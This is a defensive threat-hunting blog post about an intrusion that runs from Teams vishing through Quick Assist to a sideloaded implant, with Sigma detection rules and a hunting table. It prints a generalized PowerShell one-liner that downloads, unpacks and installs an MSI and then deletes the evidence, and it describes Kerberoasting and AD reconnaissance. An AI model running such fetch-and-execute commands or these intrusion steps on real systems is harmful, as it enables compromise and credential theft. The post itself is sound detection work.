threat-hunting · detection · social-engineering

Teams Vishing to Quick Assist: The Implant You Cannot Hash-Hunt

The BHIS ActiveSOC keeps running into an intrusion pattern that begins somewhere most detection programs are not watching: a Microsoft Teams message from outside the organization, followed seconds later by a voice call from the same account. It ends with an operator typing commands into a remote support session on an employee's desktop, and an implant running out of the install tree of a real, validly signed piece of enterprise software.

We have written about the access half of this twice already. Our write-up on an Aur0ra ransomware intrusion opened the same way — employees worn down by email bombing, then a phone call from the "IT Helpdesk", then a threat actor with control of a desktop — and our look at the infrastructure behind these fake help desks follows one operator through eight weeks of burned domains onto free Microsoft 365 tenants, explaining why Teams federation walks this straight past the mail gateway that ought to catch it. It is well documented elsewhere too: Microsoft tracks one cluster running this playbook as Storm-1811 and published guidance on Quick Assist abuse in 2024, describing fake help desk accounts that both message and call their targets before deploying Black Basta, and Sophos has since documented 3AM ransomware affiliates running the same vishing and Quick Assist playbook.

So this post is not going to relitigate the social engineering. Assume the operator gets their session. What we want to talk about is what landed afterward, because it is the inverse of the problem we described last time. With Aur0ra, the malware was a legitimate tool wearing a false name, and the lesson was that a filename tells you nothing. Here the launcher's filename, hash, publisher and code-signing certificate are all genuine, and the malicious code sits in the unsigned files beside them. Hunt this one the way you would hunt that one and you will match every legitimate installation of a well-known VPN client across your fleet, and not one compromised host.

This post covers what the implant was observed doing, why the usual indicators fail against it, and the behavioral detections worth building instead.

Two Things About the Handover

Assume the part covered in those earlier posts: an external account styled as an IT service desk makes contact, a remote assistance session gets granted, and the operator has the desktop. Two details about that handover still belong here, because they change what you alert on.

The command did not arrive through the Run dialog. Classic ClickFix persuades the victim to paste a command into the Run dialog, so a lot of ClickFix logic keys on how the command arrived rather than on what it does. That logic does not describe what happened here. The process chain was:

WindowsTerminal.exe
  └─ powershell.exe                      (interactive, no arguments)
       ├─ net.exe group /dom             (30 seconds before the download)
       └─ cmd.exe                        (interactive, no arguments)
            └─ powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "..."
                 └─ msiexec.exe /i ...

A Win+R paste would have put explorer.exe at the top of that chain, and there is none in it. The cmd.exe in the middle is an interactive shell with no arguments, not the cmd /c <one-liner> the Run dialog yields, so RunMRU has nothing in it to find either. A domain enumeration command had already run in the same PowerShell session half a minute earlier, which tells you someone was looking around before they installed anything. That someone was the operator. Once the remote assistance session was granted they had the desktop, and the user's only action was clicking Allow.

What caught this was keyed on the shape of the command line, and Appendix A's second rule is a rewrite of that idea rather than the rule itself. The production version also requires the parent process to be explorer.exe or cmd.exe, and it matched on the cmd.exe branch, which was written for the Win+R-to-cmd-to-paste sequence. That is not the sequence that occurred. It fired because an interactive cmd.exe happened to sit in the middle of the chain; had the operator run PowerShell straight from the terminal, it would not have.

One thing the telemetry does not settle is whether the command was typed or pasted. It appeared 0.86 seconds after cmd.exe started, which is a paste rather than four hundred characters of typing, but a remote assistance session shares a clipboard between both ends, so the parent process cannot tell you which end it came from.

Partial engagement is not compromise. Users who answered briefly and hung up, and users who never answered at all, showed no follow-on activity whatsoever: no remote assistance tool, no contact with attacker infrastructure, no files written. Worth holding onto during triage, because a Defender or Teams alert fires the same way for all of them. Being targeted and being compromised look very different in endpoint telemetry, and the discriminator is almost always whether a remote assistance tool actually launched.

Delivery: One PowerShell Line

The install arrived as a single PowerShell command, launched from a command shell inside the remote session, that did four things in sequence: fetch a ZIP archive over HTTPS, expand it into a temporary directory, locate the first MSI inside, and hand that MSI to msiexec. A fifth statement then deleted the archive and the unpacked directory, clearing the evidence behind it.

Generalized, it looks like this:

powershell -NoProfile -ExecutionPolicy Bypass -Command "$url='https://REDACTED-HOST/ProductSetup.zip'; $zip=Join-Path $env:TEMP 'ProductSetup.zip'; $dir=Join-Path $env:TEMP 'unpack'; Invoke-WebRequest $url -OutFile $zip -UseBasicParsing; Expand-Archive $zip -DestinationPath $dir -Force; $msi=Get-ChildItem $dir -Filter *.msi -Recurse | Select-Object -First 1; Start-Process msiexec.exe -ArgumentList '/i', $msi.FullName, '/norestart' -Wait; Remove-Item $zip,$dir -Recurse -Force"

The archive was named to look like a cracked copy of a commercial desktop application, which fits the pretext neatly. The "service desk" is helping you get something installed.

The shape of that command line is the detectable part, and it is a good deal more specific than any of its individual components. Download, expand, discover, install, and clean up, chained in one invocation with profile loading and execution policy both suppressed, is not how software gets deployed legitimately. It is how software gets deployed by someone who has five minutes of somebody else's attention.

The Masquerade: An Implant Inside a Real Software Install

The MSI wrote nineteen files into a directory under the user's own profile:

C:\Users\<user>\AppData\Local\Programs\SonicWall Global VPN Service\

That directory name is the one thing in the install tree the attacker got wrong. The real product is SonicWall Global VPN Client, and it installs to Program Files. This folder says Service, and both persistence entries carry the same wrong name. It is attacker-authored text that no legitimate installation of that product will ever contain, which makes it the one part of this masquerade a name-based search can actually catch.

Fourteen of those files carried valid signatures from SonicWall or Microsoft and appear to be genuine components lifted straight out of the real product. Five did not.

The launcher — the executable named in both persistence entries, and the process that ran continuously for the entire life of the intrusion — was itself a legitimately signed SonicWall binary. We verified the chain on the host: a valid EV code-signing certificate, correctly issued to the real vendor, not revoked.

To be clear about what that does and does not mean: the vendor's product was not compromised, and no vulnerability in it was involved. The attacker simply took a real, signed application and used its install tree as a host. A signed launcher sitting beside unsigned DLLs that carry vendor names is textbook sideloading, and that is what the layout points to — malicious code loading as a DLL inside a process nothing will question. The technique is old and the choice of product is arbitrary. What deserves your attention is the consequence for hunting.

A hash sweep finds nothing. The launcher's SHA-256 matches every genuine installation of that product in your environment. Search on it and you get a list of your own legitimate VPN clients.

A publisher or signature sweep is worse than useless, because it returns a positive trust verdict on the very file you are trying to find. The binary really is signed by the vendor it claims.

Certificate-based allowlisting passes it, for the same reason.

That leaves the five unsigned files, and they are where the malicious code has to be. The other fourteen are genuine, signed, unmodified vendor and Microsoft components, and the implant was plainly doing things — beaconing out, writing its own persistence, running scripts — so whatever drove that behavior is in the only files left unaccounted for. We did not examine them directly, so what follows is read off their composition rather than their contents.

Two of the five are named to match the vendor's own convention, and that is precisely what makes the set worth looking at: a file that looks like a vendor component but carries no signature is a contradiction, and real install trees do not contain those. The other three are more telling. The attacker shipped a commercial .NET mail and file-transfer library and a PDF rendering library, and neither has any business inside a VPN client. A mail and file-transfer library sitting in an implant's own directory is at minimum consistent with an exfiltration path being available, though we cannot show one was used.

What actually finds this pattern is unglamorous:

  • The install path. That product installs to Program Files. A copy of it under AppData\Local\Programs is anomalous on its face, regardless of what the files are.
  • Unsigned DLLs adjacent to signed vendor executables in the same directory.
  • A signed binary executing from a user-writable path.

None of those require you to know the hash, the product, or the campaign.

Persistence That Never Ran

The implant established two autostart mechanisms, both named after the product it was impersonating: a registry Run value under the user's own hive, and a scheduled task with a logon trigger and a delay of a few seconds.

Neither had ever executed. The implant ran as a single continuous process from installation until the host was pulled off the network, and the machine was never restarted in between. Both entries sat armed, waiting for the next logon.

Two things follow from that, and they point in different directions.

For triage: an analyst reasoning from process ancestry alone sees one long-running process with no autostart parent, and could reasonably conclude that persistence was never established. It was. The registry value and the task registration are the evidence; execution history is not. Look for the artifacts, not for their children.

For remediation: killing the process and deleting the two entries is not sufficient, and rebooting the host to see whether the malware comes back is precisely the wrong move. Armed persistence on a machine that has not rebooted is live persistence, and the next logon is all it is waiting for. A host in that state should be rebuilt rather than cleaned, and should not be put back on the network first.

One detail from the task registration deserves a rule of its own. It was created with the security descriptor D:(A;;FA;;;WD). For anyone who does not read SDDL for a living, that unpacks as A for allow, FA for full access, and WD for the well-known alias for Everyone — and that single entry is the whole access control list, with nothing for Administrators and nothing for SYSTEM. In practice it means any user on that machine could rewrite what the task runs, and their code would execute at the next logon of the account the task belongs to. It is sloppy tradecraft, and it is also a high-fidelity detection, because legitimate software does not register world-writable scheduled tasks.

Command and Control That Ignores DNS

The implant beaconed to a hardcoded IPv4 address on port 443. Not a domain that resolved to an address — an address, compiled into the binary. Across a full day of DNS telemetry from the host, not one query ever resolved to it.

That defeats an entire category of control at once. DNS filtering, response policy zones, sinkholing, newly-registered-domain blocking, and every threat feed keyed on domain names are blind to a connection that never asks a resolver anything. The only places this appears are egress logs, NetFlow, and process-level network telemetry that attributes the connection to the binary that owns it. If your outbound visibility depends on DNS, this beacon is invisible to you and will stay that way.

Before settling on its main channel, the implant made a single connection to a different address, also on 443, consistent with a first-stage check-in or a configured fallback. Worth remembering while scoping: the primary C2 address is not necessarily the first one the host talked to, and blocking only the loudest one leaves a door open.

What the Access Was Actually Used For

About an hour after installation, the implant ran a script that requested Kerberos service tickets for roughly ten service accounts in under two minutes. The request set included krbtgt, which is more informative than it first looks. Rubeus, Impacket's GetUserSPNs.py and PowerView's Invoke-Kerberoast all exclude krbtgt by default, so asking for it does not merely rule out an operator picking targets by hand. It rules out the standard tooling too, and points at a naive or custom script that enumerated every SPN it could see and requested all of them indiscriminately.

Most of the tickets came back RC4-encrypted, and that matters more than the theft itself. An RC4 service ticket can be cracked offline, at the attacker's own pace, with no further access to the environment and nothing left for you to detect. The moment those tickets left the network, the clock started on every password behind them — and nothing done to the host afterward stops that clock, because the cracking happens on the attacker's hardware, on the attacker's schedule. Rotating those passwords is the only thing that does.

Then the operator came back. Hours later, long after the remote assistance session had ended and the user had finished for the day, the implant spawned a command shell and ran two reconnaissance scripts. Both were written to disk by the implant itself moments before each was executed, which tells you they arrived over the C2 channel rather than being typed by hand.

The first counted the domain's computers, servers, users, groups, accounts with an SPN registered, and Domain Admins, then checked whether a certificate authority was present. The second searched Active Directory for user accounts with anything written in the description field — a durable habit of storing passwords where every authenticated user in the domain can read them. Both wrote their output to text files, which the implant then deleted. The session finished with a handful of net use and net view calls against the domain and a file server.

That return visit is the part to internalize. Everything before it could be written off as a bad five minutes on one user's desktop. The return proves a patient operator with reliable access working a plan: get in, take credentials that crack offline, then map the domain and go looking for stored passwords to escalate with.

Conclusion

The uncomfortable thing about this pattern is how little of it is new. External Teams contact, a voice call, a remote assistance tool, a signed binary sideloading an unsigned DLL, Kerberoasting, net view — every single step is documented and most of it is years old. What made the assembly effective is that it steered around the most heavily instrumented parts of a normal environment. No exploit. No credential dumping out of memory. No binary that a hash lookup or a certificate check would flag. No DNS query to filter.

What actually caught this was keyed on the shape of behavior: a download-and-install chain compressed into a single command line. The indicators that key on identity — this hash, this publisher, this domain — would never have found it, and no amount of feed freshness would have changed that. The rules in Appendix A are the rest of that lesson written down: a remote assistance tool launching on a desktop where it has never launched before, an unsigned DLL loading into a process that is itself running from a user-writable directory, a world-writable scheduled task, autostart entries pointing into a user profile.

If you take one action away from this post, take this one: go look for signed executables running out of user-writable directories with unsigned DLLs beside them. It is a cheap query, it is not campaign-specific, and it finds an entire class of intrusion that your allowlist is currently telling you is fine.

Appendix A: Detection Mechanisms

Five Sigma rules covering the access, delivery, persistence and sideloading stages, all marked experimental. The first two and the last are deliberately broad and should be baselined in your environment before you alert on them; the two persistence rules in between are narrow enough that we would alert on them directly. Tune them against your own telemetry rather than deploying them as-is.

Quick Assist Remote Assistance Session Launched

title: Quick Assist Remote Assistance Session Launched
id: b153f464-0f5b-4064-8e64-d106547e5741
status: experimental
description: |
    Detects execution of Microsoft Quick Assist. Quick Assist is legitimate and
    ships with Windows, so this is a baselining rule rather than a standalone
    alert: in most environments the set of users who ever launch it is small and
    stable, and a first-time launch on a workstation is the signal. Correlate
    with external Teams contact in the preceding minutes.
references:
    - https://www.microsoft.com/en-us/security/blog/2024/05/15/threat-actors-misusing-quick-assist-in-social-engineering-attacks-leading-to-ransomware/
    - https://www.sophos.com/en-us/blog/a-familiar-playbook-with-a-twist-3am-ransomware-actors-dropped-virtual-machine-with-vishing-and-quick-assist
author: BHIS ActiveSOC
date: 2026-09-09
tags:
    - attack.initial-access
    - attack.t1219
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\quickassist.exe'
    condition: selection
fields:
    - Image
    - CommandLine
    - ParentImage
    - User
falsepositives:
    - Sanctioned internal help desk use. Baseline the users and hosts where this
      is expected and alert on the remainder.
level: low

PowerShell Download, Expand and Install In a Single Command

title: PowerShell Download, Expand and Install In a Single Command
id: b9f55c90-a05e-4e7b-ac52-37067663d811
status: experimental
description: |
    Detects a single PowerShell invocation that downloads an archive, expands it,
    and executes an installer from the expanded contents. The individual
    components are common; the full chain compressed into one command line, with
    profile loading and execution policy suppressed, is characteristic of
    operator-driven installs during social engineering sessions.
    The parent selection mirrors the production rule this is a rewrite of. Note
    that in the intrusion described here the parent shell was reached from
    Windows Terminal rather than the Run dialog, so an explorer.exe-only parent
    list would have missed it. Dropping selection_parent from the condition
    broadens the rule to non-interactive parents, at the cost of the packaging
    automation noted below.
author: BHIS ActiveSOC
date: 2026-09-09
tags:
    - attack.execution
    - attack.t1059.001
    - attack.command-and-control
    - attack.t1105
logsource:
    category: process_creation
    product: windows
detection:
    selection_interpreter:
        Image|endswith:
            - '\powershell.exe'
            - '\pwsh.exe'
    selection_download:
        CommandLine|contains:
            - 'Invoke-WebRequest'
            - 'Invoke-RestMethod'
            - 'DownloadFile'
            - 'Start-BitsTransfer'
    selection_unpack:
        CommandLine|contains:
            - 'Expand-Archive'
            - '[System.IO.Compression.ZipFile]'
    selection_install:
        CommandLine|contains:
            - 'msiexec'
            - 'Start-Process'
    selection_parent:
        ParentImage|endswith:
            - '\explorer.exe'
            - '\cmd.exe'
    condition: all of selection_*
fields:
    - CommandLine
    - ParentImage
    - ParentCommandLine
    - User
falsepositives:
    - Software packaging and build automation. Filter on the parent process and
      the accounts your deployment tooling runs as.
level: high

Scheduled Task Registered With a World-Writable Security Descriptor

title: Scheduled Task Registered With a World-Writable Security Descriptor
id: 3715216e-ac42-43d8-acc7-3e1da8090fe2
status: experimental
description: |
    Detects registration of a scheduled task whose security descriptor grants
    full access to Everyone (WD). Legitimate software does not create tasks that
    any user on the machine can rewrite. Beyond the persistence itself, such a
    task is a local privilege escalation primitive in its own right.
    Event ID 4698 requires the Audit Other Object Access Events subcategory
    (success) to be enabled, and it is off by default. If this rule never fires
    in your environment, check that before concluding you have nothing.
author: BHIS ActiveSOC
date: 2026-09-09
tags:
    - attack.persistence
    - attack.t1053.005
    - attack.privilege-escalation
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4698
        TaskContent|contains: '(A;;FA;;;WD)'
    condition: selection
fields:
    - TaskName
    - SubjectUserName
    - ClientProcessId
    - TaskContent
falsepositives:
    - Rare. Badly packaged installers have been observed doing this; verify the
      task action and the registering process rather than dismissing on vendor
      name alone.
level: high

Run Key Persistence Pointing Into a User-Writable Programs Directory

title: Run Key Persistence Pointing Into a User-Writable Programs Directory
id: 32d68e64-1c01-40de-a17d-296e35c00ea8
status: experimental
description: |
    Detects a registry Run value whose target executable lives under a
    user-writable directory. Used here by an implant masquerading as a
    commercial VPN client installed under the user's own profile.
    AppData\Roaming is deliberately excluded: it is busy enough in most fleets
    to need its own baselining rule, and keeping it out is what lets this one
    stay at medium.
author: BHIS ActiveSOC
date: 2026-09-09
tags:
    - attack.persistence
    - attack.t1547.001
logsource:
    category: registry_set
    product: windows
detection:
    selection_key:
        TargetObject|contains:
            - '\CurrentVersion\Run\'
            - '\CurrentVersion\RunOnce\'
    selection_path:
        Details|contains:
            - '\AppData\Local\Programs\'
            - '\AppData\Local\Temp\'
            - '\Users\Public\'
    condition: all of selection_*
fields:
    - TargetObject
    - Details
    - Image
    - User
falsepositives:
    - Legitimate per-user application installs, notably Electron applications,
      which install to AppData by design. Baseline the vendors present in your
      environment; the signal is a product that normally installs to Program
      Files appearing under a user profile.
level: medium

Unsigned DLL Loading Into a Process in a User-Writable Directory

title: Unsigned DLL Loading Into a Process in a User-Writable Directory
id: b55d6727-3fbd-476e-86ca-3009f792f239
status: experimental
description: |
    Detects a process running from a user-writable directory loading an unsigned
    DLL. This is the sideloading pattern at the centre of this intrusion: a
    validly signed vendor executable installed under a user profile, loading
    unsigned DLLs that the vendor does not ship. Because it keys on signature
    status rather than on any name or hash, it does not need to know the product
    or the campaign.
    Signature status comes from the image load event, so this needs Sysmon event
    ID 7 or equivalent EDR image-load telemetry. Sysmon must be configured to
    log image loads; the default configuration does not.
author: BHIS ActiveSOC
date: 2026-09-09
tags:
    - attack.defense-evasion
    - attack.t1574.002
logsource:
    category: image_load
    product: windows
detection:
    selection_path:
        Image|contains:
            - '\AppData\Local\Programs\'
            - '\AppData\Local\Temp\'
            - '\AppData\Roaming\'
            - '\ProgramData\'
            - '\Users\Public\'
    selection_dll:
        ImageLoaded|endswith: '.dll'
    selection_unsigned:
        Signed: 'false'
    condition: all of selection_*
fields:
    - Image
    - ImageLoaded
    - Signature
    - SignatureStatus
    - User
falsepositives:
    - Per-user application installs that ship unsigned helper libraries, which
      is common for Electron and Python-packaged products. Baseline per
      directory rather than per host; the signal is unsigned DLLs sitting
      beside a signed vendor executable, not unsigned DLLs as such.
level: medium

A Hunt Worth Running By Hand

The rule above fires when an unsigned DLL actually loads. This hunt finds the same layout at rest, on a host where the implant has not run yet, and it needs a directory-level correlation rather than a single event. Run it against your image-load or file inventory telemetry:

For every directory under a user-writable path
  (AppData\Local\Programs, AppData\Roaming, ProgramData, Users\Public)
that contains at least one validly signed vendor executable,
  report any unsigned DLL in the same directory.

Genuine per-user installs are internally consistent: everything in the folder is signed by the same publisher, or unsigned in a way that matches how the vendor ships. A folder that mixes a real signed vendor binary with unsigned DLLs that the vendor does not ship is the pattern this whole post is about, and in most environments it returns a very short list.

Appendix B: What To Hunt For

This post deliberately carries no table of hashes, addresses and domains, for two reasons. The launcher's hash matches every legitimate installation of the product it impersonated, so publishing it would hand you false positives instead of findings — which is the whole argument of this post. And the account the messages came from belonged to a third-party tenant that had itself been abused, so naming it would name another victim rather than an attacker. What is durable here is behavioral, and that is what follows.

Stage What to look for
Initial access Teams messages from external tenants with service-desk-styled display names, immediately followed by a voice call from the same account
Initial access Quick Assist or any remote assistance tool launching on a host or for a user where it has never launched before
Execution A single PowerShell command line chaining download, archive expansion, and installer execution, with -NoProfile and -ExecutionPolicy Bypass
Defense evasion A validly signed vendor executable running from a user-writable directory
Defense evasion Unsigned DLLs sitting in a directory alongside signed vendor binaries
Defense evasion A vendor product that installs to Program Files appearing under AppData\Local\Programs
Defense evasion An install directory or persistence entry that subtly renames a real vendor product, such as "Global VPN Service" for a product actually called Global VPN Client
Persistence Run or RunOnce values whose target is under a user profile path
Persistence Scheduled tasks registered with a security descriptor granting full access to Everyone
Persistence Autostart entries that exist but have never executed, on a host that has not rebooted since the implant landed
Credential access A burst of Kerberos service ticket requests covering many SPNs in a short window, especially any request set that includes krbtgt
Credential access RC4-encrypted service tickets issued where your domain otherwise negotiates AES
Discovery LDAP queries enumerating accounts with SPNs, Domain Admins group membership, or certificate authority presence
Discovery Searches against the Active Directory user description attribute
Command and control Outbound sessions to a hardcoded IP address on 443 with no preceding DNS resolution for that address